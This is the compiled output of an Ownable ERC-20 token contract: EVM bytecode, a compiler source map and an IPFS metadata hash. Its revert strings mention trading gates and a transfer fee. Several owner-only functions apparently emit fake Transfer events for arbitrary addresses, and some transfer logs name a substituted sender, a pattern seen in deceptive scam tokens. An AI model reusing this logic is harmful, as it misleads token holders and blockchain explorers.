b649190611526565b6001600160a01b0316866001600160a01b03165f80516020611680833981519152858585818110610b9757610b9761158e565b90506020020135604051610bad91815260200190565b60405180910390a3600101610b35565b5f546001600160a01b03163314610be65760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef57848482818110610c0257610c0261158e565b9050602002016020810190610c179190611526565b6001600160a01b0316866001600160a01b03165f80516020611680833981519152858585818110610c4a57610c4a61158e565b90506020020135604051610c6091815260200190565b60405180910390a3600101610be8565b5f546001600160a01b03163314610c995760405162461bcd60e51b815260040161068d90611601565b6001600160a01b038116610cfe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161068d565b610d078161109a565b50565b600754600160a01b900460ff161515600114610d685760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a656421000000000000604482015260640161068d565b600754600160a01b900460ff1615156001148015610d905750600754600160a81b900460ff16155b15610e08575f546001600160a01b0384811691161480610dbc57505f546001600160a01b038381169116145b610e085760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f742073746172746564604482015260640161068d565b60085481906001600160a01b031615801590610e3157505f546001600160a01b03858116911614155b8015610e4a57505f546001600160a01b03848116911614155b15610f66576008545f906001600160a01b0390811690861603610e8a57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603610ece577f00000000000000000000000000000000000000000000000000000000000000009050610ece600a546110e9565b6001600160a01b0385165f908152600b602052604090205460ff16151560011480610f1557506001600160a01b0384165f908152600b602052604090205460ff1615156001145b15610f1d57505f5b8015610f64575f612710610f318386611636565b610f3b919061164d565b9050610f47818561166c565b600954909350610f629087906001600160a01b0316836110f5565b505b505b610f718484836110f5565b50505050565b6001600160a01b038316610fd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068d565b6001600160a01b03821661103a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610d07575f80fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068d565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068d565b6001600160a01b0383165f90815260016020526040902054818110156112325760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161068d565b6001600160a01b038085165f908152600160205260408082208585039055918516815290812080548492906112689084906115ee565b90915550506007546001600160a01b03908116908516036112ba576006546040518381526001600160a01b038581169216905f80516020611680833981519152906020015b60405180910390a3610f71565b6007546001600160a01b03908116908416036112ff576006546040518381526001600160a01b03918216918616905f80516020611680833981519152906020016112ad565b826001600160a01b0316846001600160a01b03165f80516020611680833981519152846040516112ad91815260200190565b5f8083601f840112611341575f80fd5b50813567ffffffffffffffff811115611358575f80fd5b6020830191508360208260051b8501011115611372575f80fd5b9250929050565b5f805f6040848603121561138b575f80fd5b833567ffffffffffffffff8111156113a1575f80fd5b6113ad86828701611331565b909790965060209590950135949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461140c575f80fd5b919050565b5f8060408385031215611422575f80fd5b61142b836113f6565b946020939093013593505050565b5f805f6060848603121561144b575f80fd5b611454846113f6565b9250611462602085016113f6565b9150604084013590509250925092565b5f8060408385031215611483575f80fd5b61148c836113f6565b9150602083013580151581146114a0575f80fd5b809150509250929050565b5f805f805f606086880312156114bf575f80fd5b6114c8866113f6565b9450602086013567ffffffffffffffff808211156114e4575f80fd5b6114f089838a01611331565b90965094506040880135915080821115611508575f80fd5b5061151588828901611331565b969995985093965092949392505050565b5f60208284031215611536575f80fd5b61153f826113f6565b9392505050565b5f60208284031215611556575f80fd5b5035919050565b5f806040838503121561156e575f80fd5b611577836113f6565b9150611585602084016113f6565b90509250929050565b634e487b7160e01b5f52603260045260245ffd5b600181811c908216806115b657607f821691505b6020821081036115d457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105fb576105fb6115da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176105fb576105fb6115da565b5f8261166757634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105fb576105fb6115da56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220b301e024b340f8d0cc1ea5c3487ead269d50638c181c5f241eb97253e85d87d164736f6c63430008190033

10121:4958:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11954:272;;;;;;:::i;:::-;;:::i;:::-;;3506:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4611:194;;;;;;:::i;:::-;;:::i;:::-;;;1921:14:14;;1914:22;1896:41;;1884:2;1869:18;4611:194:2;1756:187:14;10351:31:2;;;;;-1:-1:-1;;;10351:31:2;;;;;;3827:108;3915:12;;3827:108;;;2094:25:14;;;2082:2;2067:18;3827:108:2;1948:177:14;4813:529:2;;;;;;:::i;:::-;;:::i;10389:29::-;;;;;-1:-1:-1;;;10389:29:2;;;;;;10464:71;;;;;-1:-1:-1;;;;;10464:71:2;;;;;;-1:-1:-1;;;;;2627:32:14;;;2609:51;;2597:2;2582:18;10464:71:2;2463:203:14;10586:36:2;;;;;3726:93;;;3809:2;2813:36:14;;2801:2;2786:18;3726:93:2;2671:184:14;5350:290:2;;;;;;:::i;:::-;;:::i;10544:35::-;;;;;10297:45;;10337:5;10297:45;;;;;3034:6:14;3022:19;;;3004:38;;2992:2;2977:18;10297:45:2;2860:188:14;11663:128:2;;;;;;:::i;:::-;;:::i;12821:282::-;;;;;;:::i;:::-;;:::i;3943:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4060:18:2;4033:7;4060:18;;;:9;:18;;;;;;;3943:143;1228:103;;;:::i;12528:285::-;;;;;;:::i;:::-;;:::i;10670:44::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;1006:87;1052:7;1079:6;-1:-1:-1;;;;;1079:6:2;1006:87;;3614:104;;;:::i;12234:286::-;;;;;;:::i;:::-;;:::i;5648:475::-;;;;;;:::i;:::-;;:::i;10425:32::-;;;;;-1:-1:-1;;;;;10425:32:2;;;4094:200;;;;;;:::i;:::-;;:::i;11499:156::-;;;;;;:::i;:::-;;:::i;11799:147::-;;;:::i;10169:72::-;;;;;13415:282;;;;;;:::i;:::-;;:::i;4302:176::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4443:18:2;;;4416:7;4443:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4302:176;13111:296;;;;;;:::i;:::-;;:::i;1339:238::-;;;;;;:::i;:::-;;:::i;10839:32::-;;;;;-1:-1:-1;;;;;10839:32:2;;;11954:272;580:10;12066:13;12105:114;12125:21;;;12105:114;;;12168:39;12178:5;12185:10;;12196:1;12185:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;12200:6;12168:9;:39::i;:::-;12148:3;;12105:114;;;;12055:171;11954:272;;;:::o;3506:100::-;3560:13;3593:5;3586:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3506:100;:::o;4611:194::-;4719:4;4736:39;580:10;4759:7;4768:6;4736:8;:39::i;:::-;-1:-1:-1;4793:4:2;4611:194;;;;;:::o;4813:529::-;4953:4;4970:36;4980:6;4988:9;4999:6;4970:9;:36::i;:::-;-1:-1:-1;;;;;5046:19:2;;5019:24;5046:19;;;:11;:19;;;;;;;;580:10;5046:33;;;;;;;;5112:26;;;;5090:116;;;;-1:-1:-1;;;5090:116:2;;5852:2:14;5090:116:2;;;5834:21:14;5891:2;5871:18;;;5864:30;5930:34;5910:18;;;5903:62;-1:-1:-1;;;5981:18:14;;;5974:38;6029:19;;5090:116:2;;;;;;;;;5242:57;5251:6;580:10;5292:6;5273:16;:25;5242:8;:57::i;:::-;-1:-1:-1;5330:4:2;;4813:529;-1:-1:-1;;;;4813:529:2:o;5350:290::-;580:10;5463:4;5552:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5552:34:2;;;;;;;;;;5463:4;;5480:130;;5530:7;;5552:47;;5589:10;;5552:47;:::i;:::-;5480:8;:130::i;11663:128::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;11748:22:2;;;::::1;;::::0;;;:12:::1;:22;::::0;;;;:35;;-1:-1:-1;;11748:35:2::1;::::0;::::1;;::::0;;;::::1;::::0;;11663:128::o;12821:282::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;12981:9:::1;12976:120;12996:19:::0;;::::1;12976:120;;;13060:8;;13069:1;13060:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13042:42:2::1;13051:7;-1:-1:-1::0;;;;;13042:42:2::1;-1:-1:-1::0;;;;;;;;;;;13073:7:2::1;;13081:1;13073:10;;;;;;;:::i;:::-;;;;;;;13042:42;;;;2094:25:14::0;;2082:2;2067:18;;1948:177;13042:42:2::1;;;;;;;;13017:3;;12976:120;;;;12821:282:::0;;;;;:::o;1228:103::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;1293:30:::1;1320:1;1293:18;:30::i;:::-;1228:103::o:0;12528:285::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;12691:9:::1;12686:120;12706:19:::0;;::::1;12686:120;;;12770:8;;12779:1;12770:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12752:42:2::1;12761:7;-1:-1:-1::0;;;;;12752:42:2::1;-1:-1:-1::0;;;;;;;;;;;12783:7:2::1;;12791:1;12783:10;;;;;;;:::i;:::-;;;;;;;12752:42;;;;2094:25:14::0;;2082:2;2067:18;;1948:177;12752:42:2::1;;;;;;;;12727:3;;12686:120;;3614:104:::0;3670:13;3703:7;3696:14;;;;;:::i;12234:286::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;12398:9:::1;12393:120;12413:19:::0;;::::1;12393:120;;;12477:8;;12486:1;12477:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12459:42:2::1;12468:7;-1:-1:-1::0;;;;;12459:42:2::1;-1:-1:-1::0;;;;;;;;;;;12490:7:2::1;;12498:1;12490:10;;;;;;;:::i;:::-;;;;;;;12459:42;;;;2094:25:14::0;;2082:2;2067:18;;1948:177;12459:42:2::1;;;;;;;;12434:3;;12393:120;;5648:475:::0;580:10;5766:4;5810:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5810:34:2;;;;;;;;;;5877:35;;;;5855:122;;;;-1:-1:-1;;;5855:122:2;;6884:2:14;5855:122:2;;;6866:21:14;6923:2;6903:18;;;6896:30;6962:34;6942:18;;;6935:62;-1:-1:-1;;;7013:18:14;;;7006:35;7058:19;;5855:122:2;6682:401:14;5855:122:2;6013:67;580:10;6036:7;6064:15;6045:16;:34;6013:8;:67::i;:::-;-1:-1:-1;6111:4:2;;5648:475;-1:-1:-1;;;5648:475:2:o;4094:200::-;4205:4;4222:42;580:10;4246:9;4257:6;4222:9;:42::i;11499:156::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;11603:20:::1;:44:::0;11499:156::o;11799:147::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;11860:9:::1;::::0;-1:-1:-1;;;11860:9:2;::::1;;;:18;11852:59;;;::::0;-1:-1:-1;;;11852:59:2;;7290:2:14;11852:59:2::1;::::0;::::1;7272:21:14::0;7329:2;7309:18;;;7302:30;7368;7348:18;;;7341:58;7416:18;;11852:59:2::1;7088:352:14::0;11852:59:2::1;11922:9;:16:::0;;-1:-1:-1;;;;11922:16:2::1;-1:-1:-1::0;;;11922:16:2::1;::::0;;11799:147::o;13415:282::-;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;13575:9:::1;13570:120;13590:19:::0;;::::1;13570:120;;;13654:8;;13663:1;13654:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13636:42:2::1;13645:7;-1:-1:-1::0;;;;;13636:42:2::1;-1:-1:-1::0;;;;;;;;;;;13667:7:2::1;;13675:1;13667:10;;;;;;;:::i;:::-;;;;;;;13636:42;;;;2094:25:14::0;;2082:2;2067:18;;1948:177;13636:42:2::1;;;;;;;;13611:3;;13570:120;;13111:296:::0;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;13285:9:::1;13280:120;13300:19:::0;;::::1;13280:120;;;13364:8;;13373:1;13364:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13346:42:2::1;13355:7;-1:-1:-1::0;;;;;13346:42:2::1;-1:-1:-1::0;;;;;;;;;;;13377:7:2::1;;13385:1;13377:10;;;;;;;:::i;:::-;;;;;;;13346:42;;;;2094:25:14::0;;2082:2;2067:18;;1948:177;13346:42:2::1;;;;;;;;13321:3;;13280:120;;1339:238:::0;1141:6;;-1:-1:-1;;;;;1141:6:2;580:10;1141:22;1133:67;;;;-1:-1:-1;;;1133:67:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;1442:22:2;::::1;1420:110;;;::::0;-1:-1:-1;;;1420:110:2;;7647:2:14;1420:110:2::1;::::0;::::1;7629:21:14::0;7686:2;7666:18;;;7659:30;7725:34;7705:18;;;7698:62;-1:-1:-1;;;7776:18:14;;;7769:36;7822:19;;1420:110:2::1;7445:402:14::0;1420:110:2::1;1541:28;1560:8;1541:18;:28::i;:::-;1339:238:::0;:::o;13860:1216::-;13999:11;;-1:-1:-1;;;13999:11:2;;;;:19;;14014:4;13999:19;13991:58;;;;-1:-1:-1;;;13991:58:2;;8054:2:14;13991:58:2;;;8036:21:14;8093:2;8073:18;;;8066:30;8132:28;8112:18;;;8105:56;8178:18;;13991:58:2;7852:350:14;13991:58:2;14066:11;;-1:-1:-1;;;14066:11:2;;;;:19;;14081:4;14066:19;:41;;;;-1:-1:-1;14089:9:2;;-1:-1:-1;;;14089:9:2;;;;:18;14066:41;14062:200;;;1052:7;1079:6;-1:-1:-1;;;;;14150:15:2;;;1079:6;;14150:15;;:32;;-1:-1:-1;1052:7:2;1079:6;-1:-1:-1;;;;;14169:13:2;;;1079:6;;14169:13;14150:32;14124:126;;;;-1:-1:-1;;;14124:126:2;;8409:2:14;14124:126:2;;;8391:21:14;;;8428:18;;;8421:30;8487:34;8467:18;;;8460:62;8539:18;;14124:126:2;8207:356:14;14124:126:2;14321:4;;14300:6;;-1:-1:-1;;;;;14321:4:2;:18;;;;:37;;-1:-1:-1;1052:7:2;1079:6;-1:-1:-1;;;;;14343:15:2;;;1079:6;;14343:15;;14321:37;:54;;;;-1:-1:-1;1052:7:2;1079:6;-1:-1:-1;;;;;14362:13:2;;;1079:6;;14362:13;;14321:54;14317:697;;;14435:4;;14392:12;;-1:-1:-1;;;;;14435:4:2;;;14427:12;;;;14423:66;;-1:-1:-1;14467:6:2;14423:66;14513:4;;-1:-1:-1;;;;;14513:4:2;;;14507:10;;;;14503:134;;14545:7;14538:14;;14571:50;14600:20;;14571:28;:50::i;:::-;-1:-1:-1;;;;;14655:18:2;;;;;;:12;:18;;;;;;;;:26;;:18;:26;;:54;;-1:-1:-1;;;;;;14685:16:2;;;;;;:12;:16;;;;;;;;:24;;:16;:24;14655:54;14651:103;;;-1:-1:-1;14737:1:2;14651:103;14772:8;;14768:235;;14801:22;10337:5;14827:13;14836:4;14827:6;:13;:::i;:::-;14826:32;;;;:::i;:::-;14801:57;-1:-1:-1;14895:23:2;14801:57;14895:6;:23;:::i;:::-;14959:11;;14877:41;;-1:-1:-1;14937:50:2;;14953:4;;-1:-1:-1;;;;;14959:11:2;14972:14;14937:15;:50::i;:::-;14782:221;14768:235;14377:637;14317:697;15026:42;15042:4;15048:2;15052:15;15026;:42::i;:::-;13980:1096;13860:1216;;;:::o;8274:380::-;-1:-1:-1;;;;;8410:19:2;;8402:68;;;;-1:-1:-1;;;8402:68:2;;9298:2:14;8402:68:2;;;9280:21:14;9337:2;9317:18;;;9310:30;9376:34;9356:18;;;9349:62;-1:-1:-1;;;9427:18:14;;;9420:34;9471:19;;8402:68:2;9096:400:14;8402:68:2;-1:-1:-1;;;;;8489:21:2;;8481:68;;;;-1:-1:-1;;;8481:68:2;;9703:2:14;8481:68:2;;;9685:21:14;9742:2;9722:18;;;9715:30;9781:34;9761:18;;;9754:62;-1:-1:-1;;;9832:18:14;;;9825:32;9874:19;;8481:68:2;9501:398:14;8481:68:2;-1:-1:-1;;;;;8562:18:2;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8614:32;;2094:25:14;;;8614:32:2;;2067:18:14;8614:32:2;;;;;;;8274:380;;;:::o;1585:191::-;1659:16;1678:6;;-1:-1:-1;;;;;1695:17:2;;;-1:-1:-1;;;;;;1695:17:2;;;;;;1728:40;;1678:6;;;;;;;1728:40;;1659:16;1728:40;1648:128;1585:191;:::o;13705:147::-;13802:6;13788:11;:20;13784:61;;;13825:8;;;6131:998;-1:-1:-1;;;;;6271:20:2;;6263:70;;;;-1:-1:-1;;;6263:70:2;;10106:2:14;6263:70:2;;;10088:21:14;10145:2;10125:18;;;10118:30;10184:34;10164:18;;;10157:62;-1:-1:-1;;;10235:18:14;;;10228:35;10280:19;;6263:70:2;9904:401:14;6263:70:2;-1:-1:-1;;;;;6352:23:2;;6344:71;;;;-1:-1:-1;;;6344:71:2;;10512:2:14;6344:71:2;;;10494:21:14;10551:2;10531:18;;;10524:30;10590:34;10570:18;;;10563:62;-1:-1:-1;;;10641:18:14;;;10634:33;10684:19;;6344:71:2;10310:399:14;6344:71:2;-1:-1:-1;;;;;6512:17:2;;6488:21;6512:17;;;:9;:17;;;;;;6562:23;;;;6540:111;;;;-1:-1:-1;;;6540:111:2;;10916:2:14;6540:111:2;;;10898:21:14;10955:2;10935:18;;;10928:30;10994:34;10974:18;;;10967:62;-1:-1:-1;;;11045:18:14;;;11038:36;11091:19;;6540:111:2;10714:402:14;6540:111:2;-1:-1:-1;;;;;6687:17:2;;;;;;;:9;:17;;;;;;6707:22;;;6687:42;;6751:20;;;;;;;;:30;;6723:6;;6687:17;6751:30;;6723:6;;6751:30;:::i;:::-;;;;-1:-1:-1;;6808:9:2;;-1:-1:-1;;;;;6808:9:2;;;6798:19;;;;6794:269;;6848:9;;6839:38;;2094:25:14;;;-1:-1:-1;;;;;6839:38:2;;;;6848:9;;-1:-1:-1;;;;;;;;;;;6839:38:2;2082:2:14;2067:18;6839:38:2;;;;;;;;7075:46;8662:125;6794:269;6912:9;;-1:-1:-1;;;;;6912:9:2;;;6899:22;;;;6895:168;;6960:9;;6943:35;;2094:25:14;;;-1:-1:-1;;;;;6960:9:2;;;;6943:35;;;-1:-1:-1;;;;;;;;;;;6943:35:2;2082:2:14;2067:18;6943:35:2;1948:177:14;6895:168:2;7033:9;-1:-1:-1;;;;;7016:35:2;7025:6;-1:-1:-1;;;;;7016:35:2;-1:-1:-1;;;;;;;;;;;7044:6:2;7016:35;;;;2094:25:14;;2082:2;2067:18;;1948:177;14:367;77:8;87:6;141:3;134:4;126:6;122:17;118:27;108:55;;159:1;156;149:12;108:55;-1:-1:-1;182:20:14;;225:18;214:30;;211:50;;;257:1;254;247:12;211:50;294:4;286:6;282:17;270:29;;354:3;347:4;337:6;334:1;330:14;322:6;318:27;314:38;311:47;308:67;;;371:1;368;361:12;308:67;14:367;;;;;:::o;386:505::-;481:6;489;497;550:2;538:9;529:7;525:23;521:32;518:52;;;566:1;563;556:12;518:52;606:9;593:23;639:18;631:6;628:30;625:50;;;671:1;668;661:12;625:50;710:70;772:7;763:6;752:9;748:22;710:70;:::i;:::-;799:8;;684:96;;-1:-1:-1;881:2:14;866:18;;;;853:32;;386:505;-1:-1:-1;;;;386:505:14:o;896:418::-;1045:2;1034:9;1027:21;1008:4;1077:6;1071:13;1120:6;1115:2;1104:9;1100:18;1093:34;1179:6;1174:2;1166:6;1162:15;1157:2;1146:9;1142:18;1136:50;1235:1;1230:2;1221:6;1210:9;1206:22;1202:31;1195:42;1305:2;1298;1294:7;1289:2;1281:6;1277:15;1273:29;1262:9;1258:45;1254:54;1246:62;;;896:418;;;;:::o;1319:173::-;1387:20;;-1:-1:-1;;;;;1436:31:14;;1426:42;;1416:70;;1482:1;1479;1472:12;1416:70;1319:173;;;:::o;1497:254::-;1565:6;1573;1626:2;1614:9;1605:7;1601:23;1597:32;1594:52;;;1642:1;1639;1632:12;1594:52;1665:29;1684:9;1665:29;:::i;:::-;1655:39;1741:2;1726:18;;;;1713:32;;-1:-1:-1;;;1497:254:14:o;2130:328::-;2207:6;2215;2223;2276:2;2264:9;2255:7;2251:23;2247:32;2244:52;;;2292:1;2289;2282:12;2244:52;2315:29;2334:9;2315:29;:::i;:::-;2305:39;;2363:38;2397:2;2386:9;2382:18;2363:38;:::i;:::-;2353:48;;2448:2;2437:9;2433:18;2420:32;2410:42;;2130:328;;;;;:::o;3053:347::-;3118:6;3126;3179:2;3167:9;3158:7;3154:23;3150:32;3147:52;;;3195:1;3192;3185:12;3147:52;3218:29;3237:9;3218:29;:::i;:::-;3208:39;;3297:2;3286:9;3282:18;3269:32;3344:5;3337:13;3330:21;3323:5;3320:32;3310:60;;3366:1;3363;3356:12;3310:60;3389:5;3379:15;;;3053:347;;;;;:::o;3405:847::-;3536:6;3544;3552;3560;3568;3621:2;3609:9;3600:7;3596:23;3592:32;3589:52;;;3637:1;3634;3627:12;3589:52;3660:29;3679:9;3660:29;:::i;:::-;3650:39;;3740:2;3729:9;3725:18;3712:32;3763:18;3804:2;3796:6;3793:14;3790:34;;;3820:1;3817;3810:12;3790:34;3859:70;3921:7;3912:6;3901:9;3897:22;3859:70;:::i;:::-;3948:8;;-1:-1:-1;3833:96:14;-1:-1:-1;4036:2:14;4021:18;;4008:32;;-1:-1:-1;4052:16:14;;;4049:36;;;4081:1;4078;4071:12;4049:36;;4120:72;4184:7;4173:8;4162:9;4158:24;4120:72;:::i;:::-;3405:847;;;;-1:-1:-1;3405:847:14;;-1:-1:-1;4211:8:14;;4094:98;3405:847;-1:-1:-1;;;3405:847:14:o;4257:186::-;4316:6;4369:2;4357:9;4348:7;4344:23;4340:32;4337:52;;;4385:1;4382;4375:12;4337:52;4408:29;4427:9;4408:29;:::i;:::-;4398:39;4257:186;-1:-1:-1;;;4257:186:14:o;4448:180::-;4507:6;4560:2;4548:9;4539:7;4535:23;4531:32;4528:52;;;4576:1;4573;4566:12;4528:52;-1:-1:-1;4599:23:14;;4448:180;-1:-1:-1;4448:180:14:o;4633:260::-;4701:6;4709;4762:2;4750:9;4741:7;4737:23;4733:32;4730:52;;;4778:1;4775;4768:12;4730:52;4801:29;4820:9;4801:29;:::i;:::-;4791:39;;4849:38;4883:2;4872:9;4868:18;4849:38;:::i;:::-;4839:48;;4633:260;;;;;:::o;5133:127::-;5194:10;5189:3;5185:20;5182:1;5175:31;5225:4;5222:1;5215:15;5249:4;5246:1;5239:15;5265:380;5344:1;5340:12;;;;5387;;;5408:61;;5462:4;5454:6;5450:17;5440:27;;5408:61;5515:2;5507:6;5504:14;5484:18;5481:38;5478:161;;5561:10;5556:3;5552:20;5549:1;5542:31;5596:4;5593:1;5586:15;5624:4;5621:1;5614:15;5478:161;;5265:380;;;:::o;6059:127::-;6120:10;6115:3;6111:20;6108:1;6101:31;6151:4;6148:1;6141:15;6175:4;6172:1;6165:15;6191:125;6256:9;;;6277:10;;;6274:36;;;6290:18;;:::i;6321:356::-;6523:2;6505:21;;;6542:18;;;6535:30;6601:34;6596:2;6581:18;;6574:62;6668:2;6653:18;;6321:356::o;8568:168::-;8641:9;;;8672;;8689:15;;;8683:22;;8669:37;8659:71;;8710:18;;:::i;8741:217::-;8781:1;8807;8797:132;;8851:10;8846:3;8842:20;8839:1;8832:31;8886:4;8883:1;8876:15;8914:4;8911:1;8904:15;8797:132;-1:-1:-1;8943:9:14;;8741:217::o;8963:128::-;9030:9;;;9051:11;;;9048:37;;;9065:18;;:::i

ipfs://b301e024b340f8d0cc1ea5c3487ead269d50638c181c5f241eb97253e85d87d1